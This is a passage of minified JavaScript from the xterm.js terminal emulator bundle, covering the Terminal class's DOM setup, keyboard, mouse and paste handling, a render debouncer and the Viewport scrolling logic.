w.EventEmitter),this._setup(),this.linkifier2=this.register(this._instantiationService.createInstance(n.Linkifier2)),this.linkifier2.registerLinkProvider(this._instantiationService.createInstance(a.OscLinkProvider)),this._decorationService=this._instantiationService.createInstance(R.DecorationService),this._instantiationService.setService(T.IDecorationService,this._decorationService),this.register(this._inputHandler.onRequestBell((()=>this._onBell.fire()))),this.register(this._inputHandler.onRequestRefreshRows(((e,t)=>this.refresh(e,t)))),this.register(this._inputHandler.onRequestSendFocus((()=>this._reportFocus()))),this.register(this._inputHandler.onRequestReset((()=>this.reset()))),this.register(this._inputHandler.onRequestWindowsOptionsReport((e=>this._reportWindowsOptions(e)))),this.register(this._inputHandler.onColor((e=>this._handleColorEvent(e)))),this.register((0,w.forwardEvent)(this._inputHandler.onCursorMove,this._onCursorMove)),this.register((0,w.forwardEvent)(this._inputHandler.onTitleChange,this._onTitleChange)),this.register((0,w.forwardEvent)(this._inputHandler.onA11yChar,this._onA11yCharEmitter)),this.register((0,w.forwardEvent)(this._inputHandler.onA11yTab,this._onA11yTabEmitter)),this.register(this._bufferService.onResize((e=>this._afterResize(e.cols,e.rows)))),this.register((0,E.toDisposable)((()=>{var e,t;this._customKeyEventHandler=void 0,null===(t=null===(e=this.element)||void 0===e?void 0:e.parentNode)||void 0===t||t.removeChild(this.element)})))}_handleColorEvent(e){if(this._themeService)for(const t of e){let e,i="";switch(t.index){case 256:e="foreground",i="10";break;case 257:e="background",i="11";break;case 258:e="cursor",i="12";break;default:e="ansi",i="4;"+t.index}switch(t.type){case 0:const s=C.color.toColorRGB("ansi"===e?this._themeService.colors.ansi[t.index]:this._themeService.colors[e]);this.coreService.triggerDataEvent(`${L.C0.ESC}]${i};${(0,A.toRgbString)(s)}${L.C1_ESCAPED.ST}`);break;case 1:if("ansi"===e)this._themeService.modifyColors((e=>e.ansi[t.index]=C.rgba.toColor(...t.color)));else{const i=e;this._themeService.modifyColors((e=>e[i]=C.rgba.toColor(...t.color)))}break;case 2:this._themeService.restoreColor(t.index)}}}_setup(){super._setup(),this._customKeyEventHandler=void 0}get buffer(){return this.buffers.active}focus(){this.textarea&&this.textarea.focus({preventScroll:!0})}_handleScreenReaderModeOptionChange(e){e?!this._accessibilityManager.value&&this._renderService&&(this._accessibilityManager.value=this._instantiationService.createInstance(M.AccessibilityManager,this)):this._accessibilityManager.clear()}_handleTextAreaFocus(e){this.coreService.decPrivateModes.sendFocus&&this.coreService.triggerDataEvent(L.C0.ESC+"[I"),this.updateCursorStyle(e),this.element.classList.add("focus"),this._showCursor(),this._onFocus.fire()}blur(){var e;return null===(e=this.textarea)||void 0===e?void 0:e.blur()}_handleTextAreaBlur(){this.textarea.value="",this.refresh(this.buffer.y,this.buffer.y),this.coreService.decPrivateModes.sendFocus&&this.coreService.triggerDataEvent(L.C0.ESC+"[O"),this.element.classList.remove("focus"),this._onBlur.fire()}_syncTextArea(){if(!this.textarea||!this.buffer.isCursorInViewport||this._compositionHelper.isComposing||!this._renderService)return;const e=this.buffer.ybase+this.buffer.y,t=this.buffer.lines.get(e);if(!t)return;const i=Math.min(this.buffer.x,this.cols-1),s=this._renderService.dimensions.css.cell.height,r=t.getWidth(i),n=this._renderService.dimensions.css.cell.width*r,o=this.buffer.y*this._renderService.dimensions.css.cell.height,a=i*this._renderService.dimensions.css.cell.width;this.textarea.style.left=a+"px",this.textarea.style.top=o+"px",this.textarea.style.width=n+"px",this.textarea.style.height=s+"px",this.textarea.style.lineHeight=s+"px",this.textarea.style.zIndex="-5"}_initGlobal(){this._bindKeys(),this.register((0,r.addDisposableDomListener)(this.element,"copy",(e=>{this.hasSelection()&&(0,s.copyHandler)(e,this._selectionService)})));const e=e=>(0,s.handlePasteEvent)(e,this.textarea,this.coreService,this.optionsService);this.register((0,r.addDisposableDomListener)(this.textarea,"paste",e)),this.register((0,r.addDisposableDomListener)(this.element,"paste",e)),k.isFirefox?this.register((0,r.addDisposableDomListener)(this.element,"mousedown",(e=>{2===e.button&&(0,s.rightClickHandler)(e,this.textarea,this.screenElement,this._selectionService,this.options.rightClickSelectsWord)}))):this.register((0,r.addDisposableDomListener)(this.element,"contextmenu",(e=>{(0,s.rightClickHandler)(e,this.textarea,this.screenElement,this._selectionService,this.options.rightClickSelectsWord)}))),k.isLinux&&this.register((0,r.addDisposableDomListener)(this.element,"auxclick",(e=>{1===e.button&&(0,s.moveTextAreaUnderMouseCursor)(e,this.textarea,this.screenElement)})))}_bindKeys(){this.register((0,r.addDisposableDomListener)(this.textarea,"keyup",(e=>this._keyUp(e)),!0)),this.register((0,r.addDisposableDomListener)(this.textarea,"keydown",(e=>this._keyDown(e)),!0)),this.register((0,r.addDisposableDomListener)(this.textarea,"keypress",(e=>this._keyPress(e)),!0)),this.register((0,r.addDisposableDomListener)(this.textarea,"compositionstart",(()=>this._compositionHelper.compositionstart()))),this.register((0,r.addDisposableDomListener)(this.textarea,"compositionupdate",(e=>this._compositionHelper.compositionupdate(e)))),this.register((0,r.addDisposableDomListener)(this.textarea,"compositionend",(()=>this._compositionHelper.compositionend()))),this.register((0,r.addDisposableDomListener)(this.textarea,"input",(e=>this._inputEvent(e)),!0)),this.register(this.onRender((()=>this._compositionHelper.updateCompositionElements())))}open(e){var t;if(!e)throw new Error("Terminal requires a parent element.");e.isConnected||this._logService.debug("Terminal.open was called on an element that was not attached to the DOM"),this._document=e.ownerDocument,this.element=this._document.createElement("div"),this.element.dir="ltr",this.element.classList.add("terminal"),this.element.classList.add("xterm"),e.appendChild(this.element);const i=O.createDocumentFragment();this._viewportElement=O.createElement("div"),this._viewportElement.classList.add("xterm-viewport"),i.appendChild(this._viewportElement),this._viewportScrollArea=O.createElement("div"),this._viewportScrollArea.classList.add("xterm-scroll-area"),this._viewportElement.appendChild(this._viewportScrollArea),this.screenElement=O.createElement("div"),this.screenElement.classList.add("xterm-screen"),this._helperContainer=O.createElement("div"),this._helperContainer.classList.add("xterm-helpers"),this.screenElement.appendChild(this._helperContainer),i.appendChild(this.screenElement),this.textarea=O.createElement("textarea"),this.textarea.classList.add("xterm-helper-textarea"),this.textarea.setAttribute("aria-label",o.promptLabel),k.isChromeOS||this.textarea.setAttribute("aria-multiline","false"),this.textarea.setAttribute("autocorrect","off"),this.textarea.setAttribute("autocapitalize","off"),this.textarea.setAttribute("spellcheck","false"),this.textarea.tabIndex=0,this._coreBrowserService=this._instantiationService.createInstance(v.CoreBrowserService,this.textarea,null!==(t=this._document.defaultView)&&void 0!==t?t:window),this._instantiationService.setService(S.ICoreBrowserService,this._coreBrowserService),this.register((0,r.addDisposableDomListener)(this.textarea,"focus",(e=>this._handleTextAreaFocus(e)))),this.register((0,r.addDisposableDomListener)(this.textarea,"blur",(()=>this._handleTextAreaBlur()))),this._helperContainer.appendChild(this.textarea),this._charSizeService=this._instantiationService.createInstance(_.CharSizeService,this._document,this._helperContainer),this._instantiationService.setService(S.ICharSizeService,this._charSizeService),this._themeService=this._instantiationService.createInstance(b.ThemeService),this._instantiationService.setService(S.IThemeService,this._themeService),this._characterJoinerService=this._instantiationService.createInstance(f.CharacterJoinerService),this._instantiationService.setService(S.ICharacterJoinerService,this._characterJoinerService),this._renderService=this.register(this._instantiationService.createInstance(g.RenderService,this.rows,this.screenElement)),this._instantiationService.setService(S.IRenderService,this._renderService),this.register(this._renderService.onRenderedViewportChange((e=>this._onRender.fire(e)))),this.onResize((e=>this._renderService.resize(e.cols,e.rows))),this._compositionView=O.createElement("div"),this._compositionView.classList.add("composition-view"),this._compositionHelper=this._instantiationService.createInstance(d.CompositionHelper,this.textarea,this._compositionView),this._helperContainer.appendChild(this._compositionView),this.element.appendChild(i);try{this._onWillOpen.fire(this.element)}catch(e){}this._renderService.hasRenderer()||this._renderService.setRenderer(this._createRenderer()),this._mouseService=this._instantiationService.createInstance(p.MouseService),this._instantiationService.setService(S.IMouseService,this._mouseService),this.viewport=this._instantiationService.createInstance(h.Viewport,this._viewportElement,this._viewportScrollArea),this.viewport.onRequestScrollLines((e=>this.scrollLines(e.amount,e.suppressScrollEvent,1))),this.register(this._inputHandler.onRequestSyncScrollBar((()=>this.viewport.syncScrollArea()))),this.register(this.viewport),this.register(this.onCursorMove((()=>{this._renderService.handleCursorMove(),this._syncTextArea()}))),this.register(this.onResize((()=>this._renderService.handleResize(this.cols,this.rows)))),this.register(this.onBlur((()=>this._renderService.handleBlur()))),this.register(this.onFocus((()=>this._renderService.handleFocus()))),this.register(this._renderService.onDimensionsChange((()=>this.viewport.syncScrollArea()))),this._selectionService=this.register(this._instantiationService.createInstance(m.SelectionService,this.element,this.screenElement,this.linkifier2)),this._instantiationService.setService(S.ISelectionService,this._selectionService),this.register(this._selectionService.onRequestScrollLines((e=>this.scrollLines(e.amount,e.suppressScrollEvent)))),this.register(this._selectionService.onSelectionChange((()=>this._onSelectionChange.fire()))),this.register(this._selectionService.onRequestRedraw((e=>this._renderService.handleSelectionChanged(e.start,e.end,e.columnSelectMode)))),this.register(this._selectionService.onLinuxMouseSelection((e=>{this.textarea.value=e,this.textarea.focus(),this.textarea.select()}))),this.register(this._onScroll.event((e=>{this.viewport.syncScrollArea(),this._selectionService.refresh()}))),this.register((0,r.addDisposableDomListener)(this._viewportElement,"scroll",(()=>this._selectionService.refresh()))),this.linkifier2.attachToDom(this.screenElement,this._mouseService,this._renderService),this.register(this._instantiationService.createInstance(c.BufferDecorationRenderer,this.screenElement)),this.register((0,r.addDisposableDomListener)(this.element,"mousedown",(e=>this._selectionService.handleMouseDown(e)))),this.coreMouseService.areMouseEventsActive?(this._selectionService.disable(),this.element.classList.add("enable-mouse-events")):this._selectionService.enable(),this.options.screenReaderMode&&(this._accessibilityManager.value=this._instantiationService.createInstance(M.AccessibilityManager,this)),this.register(this.optionsService.onSpecificOptionChange("screenReaderMode",(e=>this._handleScreenReaderModeOptionChange(e)))),this.options.overviewRulerWidth&&(this._overviewRulerRenderer=this.register(this._instantiationService.createInstance(l.OverviewRulerRenderer,this._viewportElement,this.screenElement))),this.optionsService.onSpecificOptionChange("overviewRulerWidth",(e=>{!this._overviewRulerRenderer&&e&&this._viewportElement&&this.screenElement&&(this._overviewRulerRenderer=this.register(this._instantiationService.createInstance(l.OverviewRulerRenderer,this._viewportElement,this.screenElement)))})),this._charSizeService.measure(),this.refresh(0,this.rows-1),this._initGlobal(),this.bindMouse()}_createRenderer(){return this._instantiationService.createInstance(u.DomRenderer,this.element,this.screenElement,this._viewportElement,this.linkifier2)}bindMouse(){const e=this,t=this.element;function i(t){const i=e._mouseService.getMouseReportCoords(t,e.screenElement);if(!i)return!1;let s,r;switch(t.overrideType||t.type){case"mousemove":r=32,void 0===t.buttons?(s=3,void 0!==t.button&&(s=t.button<3?t.button:3)):s=1&t.buttons?0:4&t.buttons?1:2&t.buttons?2:3;break;case"mouseup":r=0,s=t.button<3?t.button:3;break;case"mousedown":r=1,s=t.button<3?t.button:3;break;case"wheel":if(0===e.viewport.getLinesScrolled(t))return!1;r=t.deltaY<0?0:1,s=4;break;default:return!1}return!(void 0===r||void 0===s||s>4)&&e.coreMouseService.triggerMouseEvent({col:i.col,row:i.row,x:i.x,y:i.y,button:s,action:r,ctrl:t.ctrlKey,alt:t.altKey,shift:t.shiftKey})}const s={mouseup:null,wheel:null,mousedrag:null,mousemove:null},n={mouseup:e=>(i(e),e.buttons||(this._document.removeEventListener("mouseup",s.mouseup),s.mousedrag&&this._document.removeEventListener("mousemove",s.mousedrag)),this.cancel(e)),wheel:e=>(i(e),this.cancel(e,!0)),mousedrag:e=>{e.buttons&&i(e)},mousemove:e=>{e.buttons||i(e)}};this.register(this.coreMouseService.onProtocolChange((e=>{e?("debug"===this.optionsService.rawOptions.logLevel&&this._logService.debug("Binding to mouse events:",this.coreMouseService.explainEvents(e)),this.element.classList.add("enable-mouse-events"),this._selectionService.disable()):(this._logService.debug("Unbinding from mouse events."),this.element.classList.remove("enable-mouse-events"),this._selectionService.enable()),8&e?s.mousemove||(t.addEventListener("mousemove",n.mousemove),s.mousemove=n.mousemove):(t.removeEventListener("mousemove",s.mousemove),s.mousemove=null),16&e?s.wheel||(t.addEventListener("wheel",n.wheel,{passive:!1}),s.wheel=n.wheel):(t.removeEventListener("wheel",s.wheel),s.wheel=null),2&e?s.mouseup||(t.addEventListener("mouseup",n.mouseup),s.mouseup=n.mouseup):(this._document.removeEventListener("mouseup",s.mouseup),t.removeEventListener("mouseup",s.mouseup),s.mouseup=null),4&e?s.mousedrag||(s.mousedrag=n.mousedrag):(this._document.removeEventListener("mousemove",s.mousedrag),s.mousedrag=null)}))),this.coreMouseService.activeProtocol=this.coreMouseService.activeProtocol,this.register((0,r.addDisposableDomListener)(t,"mousedown",(e=>{if(e.preventDefault(),this.focus(),this.coreMouseService.areMouseEventsActive&&!this._selectionService.shouldForceSelection(e))return i(e),s.mouseup&&this._document.addEventListener("mouseup",s.mouseup),s.mousedrag&&this._document.addEventListener("mousemove",s.mousedrag),this.cancel(e)}))),this.register((0,r.addDisposableDomListener)(t,"wheel",(e=>{if(!s.wheel){if(!this.buffer.hasScrollback){const t=this.viewport.getLinesScrolled(e);if(0===t)return;const i=L.C0.ESC+(this.coreService.decPrivateModes.applicationCursorKeys?"O":"[")+(e.deltaY<0?"A":"B");let s="";for(let e=0;e<Math.abs(t);e++)s+=i;return this.coreService.triggerDataEvent(s,!0),this.cancel(e,!0)}return this.viewport.handleWheel(e)?this.cancel(e):void 0}}),{passive:!1})),this.register((0,r.addDisposableDomListener)(t,"touchstart",(e=>{if(!this.coreMouseService.areMouseEventsActive)return this.viewport.handleTouchStart(e),this.cancel(e)}),{passive:!0})),this.register((0,r.addDisposableDomListener)(t,"touchmove",(e=>{if(!this.coreMouseService.areMouseEventsActive)return this.viewport.handleTouchMove(e)?void 0:this.cancel(e)}),{passive:!1}))}refresh(e,t){var i;null===(i=this._renderService)||void 0===i||i.refreshRows(e,t)}updateCursorStyle(e){var t;(null===(t=this._selectionService)||void 0===t?void 0:t.shouldColumnSelect(e))?this.element.classList.add("column-select"):this.element.classList.remove("column-select")}_showCursor(){this.coreService.isCursorInitialized||(this.coreService.isCursorInitialized=!0,this.refresh(this.buffer.y,this.buffer.y))}scrollLines(e,t,i=0){var s;1===i?(super.scrollLines(e,t,i),this.refresh(0,this.rows-1)):null===(s=this.viewport)||void 0===s||s.scrollLines(e)}paste(e){(0,s.paste)(e,this.textarea,this.coreService,this.optionsService)}attachCustomKeyEventHandler(e){this._customKeyEventHandler=e}registerLinkProvider(e){return this.linkifier2.registerLinkProvider(e)}registerCharacterJoiner(e){if(!this._characterJoinerService)throw new Error("Terminal must be opened first");const t=this._characterJoinerService.register(e);return this.refresh(0,this.rows-1),t}deregisterCharacterJoiner(e){if(!this._characterJoinerService)throw new Error("Terminal must be opened first");this._characterJoinerService.deregister(e)&&this.refresh(0,this.rows-1)}get markers(){return this.buffer.markers}registerMarker(e){return this.buffer.addMarker(this.buffer.ybase+this.buffer.y+e)}registerDecoration(e){return this._decorationService.registerDecoration(e)}hasSelection(){return!!this._selectionService&&this._selectionService.hasSelection}select(e,t,i){this._selectionService.setSelection(e,t,i)}getSelection(){return this._selectionService?this._selectionService.selectionText:""}getSelectionPosition(){if(this._selectionService&&this._selectionService.hasSelection)return{start:{x:this._selectionService.selectionStart[0],y:this._selectionService.selectionStart[1]},end:{x:this._selectionService.selectionEnd[0],y:this._selectionService.selectionEnd[1]}}}clearSelection(){var e;null===(e=this._selectionService)||void 0===e||e.clearSelection()}selectAll(){var e;null===(e=this._selectionService)||void 0===e||e.selectAll()}selectLines(e,t){var i;null===(i=this._selectionService)||void 0===i||i.selectLines(e,t)}_keyDown(e){if(this._keyDownHandled=!1,this._keyDownSeen=!0,this._customKeyEventHandler&&!1===this._customKeyEventHandler(e))return!1;const t=this.browser.isMac&&this.options.macOptionIsMeta&&e.altKey;if(!t&&!this._compositionHelper.keydown(e))return this.options.scrollOnUserInput&&this.buffer.ybase!==this.buffer.ydisp&&this.scrollToBottom(),!1;t||"Dead"!==e.key&&"AltGraph"!==e.key||(this._unprocessedDeadKey=!0);const i=(0,D.evaluateKeyboardEvent)(e,this.coreService.decPrivateModes.applicationCursorKeys,this.browser.isMac,this.options.macOptionIsMeta);if(this.updateCursorStyle(e),3===i.type||2===i.type){const t=this.rows-1;return this.scrollLines(2===i.type?-t:t),this.cancel(e,!0)}return 1===i.type&&this.selectAll(),!!this._isThirdLevelShift(this.browser,e)||(i.cancel&&this.cancel(e,!0),!i.key||!!(e.key&&!e.ctrlKey&&!e.altKey&&!e.metaKey&&1===e.key.length&&e.key.charCodeAt(0)>=65&&e.key.charCodeAt(0)<=90)||(this._unprocessedDeadKey?(this._unprocessedDeadKey=!1,!0):(i.key!==L.C0.ETX&&i.key!==L.C0.CR||(this.textarea.value=""),this._onKey.fire({key:i.key,domEvent:e}),this._showCursor(),this.coreService.triggerDataEvent(i.key,!0),!this.optionsService.rawOptions.screenReaderMode||e.altKey||e.ctrlKey?this.cancel(e,!0):void(this._keyDownHandled=!0))))}_isThirdLevelShift(e,t){const i=e.isMac&&!this.options.macOptionIsMeta&&t.altKey&&!t.ctrlKey&&!t.metaKey||e.isWindows&&t.altKey&&t.ctrlKey&&!t.metaKey||e.isWindows&&t.getModifierState("AltGraph");return"keypress"===t.type?i:i&&(!t.keyCode||t.keyCode>47)}_keyUp(e){this._keyDownSeen=!1,this._customKeyEventHandler&&!1===this._customKeyEventHandler(e)||(function(e){return 16===e.keyCode||17===e.keyCode||18===e.keyCode}(e)||this.focus(),this.updateCursorStyle(e),this._keyPressHandled=!1)}_keyPress(e){let t;if(this._keyPressHandled=!1,this._keyDownHandled)return!1;if(this._customKeyEventHandler&&!1===this._customKeyEventHandler(e))return!1;if(this.cancel(e),e.charCode)t=e.charCode;else if(null===e.which||void 0===e.which)t=e.keyCode;else{if(0===e.which||0===e.charCode)return!1;t=e.which}return!(!t||(e.altKey||e.ctrlKey||e.metaKey)&&!this._isThirdLevelShift(this.browser,e)||(t=String.fromCharCode(t),this._onKey.fire({key:t,domEvent:e}),this._showCursor(),this.coreService.triggerDataEvent(t,!0),this._keyPressHandled=!0,this._unprocessedDeadKey=!1,0))}_inputEvent(e){if(e.data&&"insertText"===e.inputType&&(!e.composed||!this._keyDownSeen)&&!this.optionsService.rawOptions.screenReaderMode){if(this._keyPressHandled)return!1;this._unprocessedDeadKey=!1;const t=e.data;return this.coreService.triggerDataEvent(t,!0),this.cancel(e),!0}return!1}resize(e,t){e!==this.cols||t!==this.rows?super.resize(e,t):this._charSizeService&&!this._charSizeService.hasValidSize&&this._charSizeService.measure()}_afterResize(e,t){var i,s;null===(i=this._charSizeService)||void 0===i||i.measure(),null===(s=this.viewport)||void 0===s||s.syncScrollArea(!0)}clear(){var e;if(0!==this.buffer.ybase||0!==this.buffer.y){this.buffer.clearAllMarkers(),this.buffer.lines.set(0,this.buffer.lines.get(this.buffer.ybase+this.buffer.y)),this.buffer.lines.length=1,this.buffer.ydisp=0,this.buffer.ybase=0,this.buffer.y=0;for(let e=1;e<this.rows;e++)this.buffer.lines.push(this.buffer.getBlankLine(x.DEFAULT_ATTR_DATA));this._onScroll.fire({position:this.buffer.ydisp,source:0}),null===(e=this.viewport)||void 0===e||e.reset(),this.refresh(0,this.rows-1)}}reset(){var e,t;this.options.rows=this.rows,this.options.cols=this.cols;const i=this._customKeyEventHandler;this._setup(),super.reset(),null===(e=this._selectionService)||void 0===e||e.reset(),this._decorationService.reset(),null===(t=this.viewport)||void 0===t||t.reset(),this._customKeyEventHandler=i,this.refresh(0,this.rows-1)}clearTextureAtlas(){var e;null===(e=this._renderService)||void 0===e||e.clearTextureAtlas()}_reportFocus(){var e;(null===(e=this.element)||void 0===e?void 0:e.classList.contains("focus"))?this.coreService.triggerDataEvent(L.C0.ESC+"[I"):this.coreService.triggerDataEvent(L.C0.ESC+"[O")}_reportWindowsOptions(e){if(this._renderService)switch(e){case B.WindowsOptionsReportType.GET_WIN_SIZE_PIXELS:const e=this._renderService.dimensions.css.canvas.width.toFixed(0),t=this._renderService.dimensions.css.canvas.height.toFixed(0);this.coreService.triggerDataEvent(`${L.C0.ESC}[4;${t};${e}t`);break;case B.WindowsOptionsReportType.GET_CELL_SIZE_PIXELS:const i=this._renderService.dimensions.css.cell.width.toFixed(0),s=this._renderService.dimensions.css.cell.height.toFixed(0);this.coreService.triggerDataEvent(`${L.C0.ESC}[6;${s};${i}t`)}}cancel(e,t){if(this.options.cancelEvents||t)return e.preventDefault(),e.stopPropagation(),!1}}t.Terminal=P},9924:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.TimeBasedDebouncer=void 0,t.TimeBasedDebouncer=class{constructor(e,t=1e3){this._renderCallback=e,this._debounceThresholdMS=t,this._lastRefreshMs=0,this._additionalRefreshRequested=!1}dispose(){this._refreshTimeoutID&&clearTimeout(this._refreshTimeoutID)}refresh(e,t,i){this._rowCount=i,e=void 0!==e?e:0,t=void 0!==t?t:this._rowCount-1,this._rowStart=void 0!==this._rowStart?Math.min(this._rowStart,e):e,this._rowEnd=void 0!==this._rowEnd?Math.max(this._rowEnd,t):t;const s=Date.now();if(s-this._lastRefreshMs>=this._debounceThresholdMS)this._lastRefreshMs=s,this._innerRefresh();else if(!this._additionalRefreshRequested){const e=s-this._lastRefreshMs,t=this._debounceThresholdMS-e;this._additionalRefreshRequested=!0,this._refreshTimeoutID=window.setTimeout((()=>{this._lastRefreshMs=Date.now(),this._innerRefresh(),this._additionalRefreshRequested=!1,this._refreshTimeoutID=void 0}),t)}}_innerRefresh(){if(void 0===this._rowStart||void 0===this._rowEnd||void 0===this._rowCount)return;const e=Math.max(this._rowStart,0),t=Math.min(this._rowEnd,this._rowCount-1);this._rowStart=void 0,this._rowEnd=void 0,this._renderCallback(e,t)}}},1680:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.Viewport=void 0;const n=i(3656),o=i(4725),a=i(8460),h=i(844),c=i(2585);let l=t.Viewport=class extends h.Disposable{constructor(e,t,i,s,r,o,h,c){super(),this._viewportElement=e,this._scrollArea=t,this._bufferService=i,this._optionsService=s,this._charSizeService=r,this._renderService=o,this._coreBrowserService=h,this.scrollBarWidth=0,this._currentRowHeight=0,this._currentDeviceCellHeight=0,this._lastRecordedBufferLength=0,this._lastRecordedViewportHeight=0,this._lastRecordedBufferHeight=0,this._lastTouchY=0,this._lastScrollTop=0,this._wheelPartialScroll=0,this._refreshAnimationFrame=null,this._ignoreNextScrollEvent=!1,this._smoothScrollState={startTime:0,origin:-1,target:-1},this._onRequestScrollLines=this.register(new a.EventEmitter),this.onRequestScrollLines=this._onRequestScrollLines.event,this.scrollBarWidth=this._viewportElement.offsetWidth-this._scrollArea.offsetWidth||15,this.register((0,n.addDisposableDomListener)(this._viewportElement,"scroll",this._handleScroll.bind(this))),this._activeBuffer=this._bufferService.buffer,this.register(this._bufferService.buffers.onBufferActivate((e=>this._activeBuffer=e.activeBuffer))),this._renderDimensions=this._renderService.dimensions,this.register(this._renderService.onDimensionsChange((e=>this._renderDimensions=e))),this._handleThemeChange(c.colors),this.register(c.onChangeColors((e=>this._handleThemeChange(e)))),this.register(this._optionsService.onSpecificOptionChange("scrollback",(()=>this.syncScrollArea()))),setTimeout((()=>this.syncScrollArea()))}_handleThemeChange(e){this._viewportElement.style.backgroundColor=e.background.css}reset(){this._currentRowHeight=0,this._currentDeviceCellHeight=0,this._lastRecordedBufferLength=0,this._lastRecordedViewportHeight=0,this._lastRecordedBufferHeight=0,this._lastTouchY=0,this._lastScrollTop=0,this._coreBrowserService.window.requestAnimationFrame((()=>this.syncScrollArea()))}_refresh(e){if(e)return this._innerRefresh(),void(null!==this._refreshAnimationFrame&&this._coreBrowserService.window.cancelAnimationFrame(this._refreshAnimationFrame));null===this._refreshAnimationFrame&&(this._refreshAnimationFrame=this._coreBrowserService.window.requestAnimationFrame((()=>this._innerRefresh())))}_innerRefresh(){if(this._charSizeService.height>0){this._currentRowHeight=this._renderService.dimensions.device.cell.height/this._coreBrowserService.dpr,this._currentDeviceCellHeight=this._renderService.dimensions.device.cell.height,this._lastRecordedViewportHeight=this._viewportElement.offsetHeight;const e=Math.round(this._currentRowHeight*this._lastRecordedBufferLength)+(this._lastRecordedViewportHeight-this._renderService.dimensions.css.canvas.height);this._lastRecordedBufferHeight!==e&&(this._lastRecordedBufferHeight=e,this._scrollArea.style.height=this._lastRecordedBufferHeight+"px")}const e=this._bufferService.buffer.ydisp*this._currentRowHeight;this._viewportElement.scrollTop!==e&&(this._ignoreNextScrollEvent=!0,this._viewportElement.scrollTop=e),this._refreshAnimationFrame=null}syncScrollArea(e=!1){if(this._lastRecordedBufferLength!==this._bufferService.buffer.lines.length)return this._lastRecordedBufferLength=this._bufferService.buffer.lines.length,void this._refresh(e);this._lastRecordedViewportHeight===this._renderService.dimensions.css.canvas.height&&this._lastScrollTop===this._activeBuffer.ydisp*this._currentRowHeight&&this._renderDimensions.device.cell.height===this._currentDeviceCellHeight||this._refresh(e)}_handleScroll(e){if(this._lastScrollTop=this._viewportElement.scrollTop,!this._viewportElement.offsetParent)return;if(this._ignoreNextScrollEvent)return this._ignoreNextScrollEvent=!1,void this._onRequestScrollLines.fire({amount:0,suppressScrollEvent:!0});const t=Math.round(this._lastScrollTop/this._currentRowHeight)-this._bufferService.buffer.ydisp;this._onRequestScrollLines.fire({amount:t,suppressScrollEvent:!0})}_smoothScroll(){if(this._isDisposed||-1===this._smoothScrollState.origin||-1===this._smoothScrollState.target)return;const e=this._smoothScrollPercent();this._viewportElement.scrollTop=this._smoothScrollState.origin+Math.round(e*(this._smoothScrollState.target-this._smoothScrollState.origin)),e<1?this._coreBrowserService.window.requestAnimationFrame((()=>this._smoothScroll())):this._clearSmoothScrollState()}_smoothScrollPercent(){return this._optionsService.rawOptions.smoothScrollDuration&&this._smoothScrollState.startTime?Math.max(Math.min((Date.now()-this._smoothScrollState.startTime)/this._optionsService.rawOptions.smoothScrollDuration,1),0):1}_clearSmoothScrollState(){this._smoothScrollState.startTime=0,this._smoothScrollState.origin=-1,this._smoothScrollState.target=-1}_bubbleScroll(e,t){const i=this._viewportElement.scrollTop+this._lastRecordedViewportHeight;return!(t<0&&0!==this._viewportElement.scrollTop||t>0&&i<this._lastRecordedBufferHeight)||(e.cancelable&&e.preventDefault(),!1)}handleWheel(e){const t=this._getPixelsScrolled(e);return 0!==t&&(this._optionsService.rawOptions.smoothScrollDuration?(this._smoothScrollState.startTime=Date.now(),this._smoothScrollPercent()<1?(this._smoothScrollState.origin=this._viewportElement.scrollTop,-1===this._smoothScrollState.target?this._smoothScrollState.target=this._viewportElement.scrollTop+t:this._smoothScrollState.target+=t,this._smoothScrollState.target=Math.max(Math.min(this._smoothScrollState.target,this._viewportElement.scrollHeight),0),this._smoothScroll()):this._clearSmoothScrollState()):this._viewportElement.scrollTop+=t,this._bubbleScroll(e,t))}scrollLines(e){if(0!==e)if(this._optionsService.rawOptions.smoothScrollDuration){const t=e*this._currentRowHeight;this._smoothScrollState.startTime=Date.now(),this._smoothScrollPercent()<1?(this._smoothScrollState.origin=this._viewportElement.scrollTop,this._smoothScrollState.target=this._smoothScrollState.origin+t,this._smoothScrollState.target=Math.max(Math.min(this._smoothScrollState.target,this._viewportElement.scrollHeight),0),this._smoothScroll()):this._clearSmoothScrollState()}else this._onRequestScrollLines.fire({amount:e,suppressScrollEvent:!1})}_getPixelsScrolled(e){if(0===e.deltaY||e.shiftKey)return 0;let t=this._applyScrollModifier(e.deltaY,e);return e.deltaMode===WheelEvent.DOM_DELTA_LINE?t*=this._currentRowHeight:e.deltaMode===WheelEvent.DOM_DELTA_PAGE&&(t*=this._currentRowHeight*this._bufferService.rows),t}getBufferElements(e,t){var i;let s,r="";const n=[],o=null!=t?t:this._bufferService.buffer.lines.length,a=this._bufferService.buffer.lines;for(let t=e;t<o;t++){const e=a.get(t);if(!e)continue;const o=null===(i=a.get(t+1))||void 0===i?void 0:i.isWrapped;if(r+=e.translateToString(!o),!o||t===a.length-1){const e=document.createElement("div");e.textContent=r,n.push(e),r.length>0&&(s=e),r=""}}return{bufferElements:n,cursorElement:s}}getLinesScrolled(e){if(0===e.deltaY||e.shiftKey)return 0;let t=this._applyScrollModifier(e.deltaY,e);return e.deltaMode===WheelEvent.DOM_DELTA_PIXEL?(t/=this._currentRowHeight+0,this._wheelPartialScroll+=t,t=Math.floor(Math.abs(this._wheelPartialScroll))*(this._wheelPartialScroll>0?1:-1),this._wheelPartialScroll%=1):e.deltaMode===WheelEvent.DOM_DELTA_PAGE&&(t*=this._bufferService.rows),t}_applyScrollModifier(e,t){const i=this._optionsService.rawOptions.fastScrollModifier;return"alt"===i&&t.altKey||"ctrl"===i&&t.ctrlKey||"shift"===i&&t.shiftKey?e*this._optionsService.rawOptions.fastScrollSensitivity*this._optionsService.rawOptions.scrollSensitivity:e*this._optionsService.rawOptions.scrollSensitivity}handleTouchStart(e){this._lastTouchY=e.touches[0].pageY}handleTouchMove(e){const t=this._lastTouchY-e.touches[0].pageY;return 